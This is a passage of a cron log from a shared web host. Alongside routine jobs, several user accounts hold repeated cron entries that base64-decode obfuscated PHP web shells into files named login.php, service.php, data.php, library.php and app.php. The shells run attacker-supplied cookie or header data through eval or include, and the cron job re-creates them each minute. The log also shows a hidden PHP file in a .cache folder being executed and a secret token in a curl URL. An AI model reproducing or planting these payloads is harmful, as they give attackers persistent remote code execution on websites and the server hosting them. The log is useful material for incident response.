OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:17:01 medusa CROND[17185]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 02:17:01 medusa CROND[17186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:17:01 medusa CROND[17195]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:17:01 medusa CROND[17202]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:18:01 medusa CROND[23786]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:18:01 medusa CROND[23787]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:18:01 medusa CROND[23788]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:18:01 medusa CROND[23789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:18:01 medusa CROND[23790]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:18:01 medusa CROND[23791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:18:01 medusa CROND[23793]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:18:01 medusa CROND[23794]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:18:01 medusa CROND[23795]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:18:01 medusa CROND[23797]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:18:01 medusa CROND[23806]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:18:01 medusa CROND[23808]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:18:01 medusa CROND[23809]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 02:18:01 medusa CROND[23798]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:19:01 medusa CROND[29102]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:19:01 medusa CROND[29145]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:19:01 medusa CROND[29146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:19:01 medusa CROND[29147]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:19:01 medusa CROND[29148]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:19:01 medusa CROND[29151]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:19:01 medusa CROND[29150]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:19:01 medusa CROND[29152]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:19:01 medusa CROND[29155]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:19:01 medusa CROND[29157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:19:01 medusa CROND[29161]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:19:01 medusa CROND[29162]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6Zy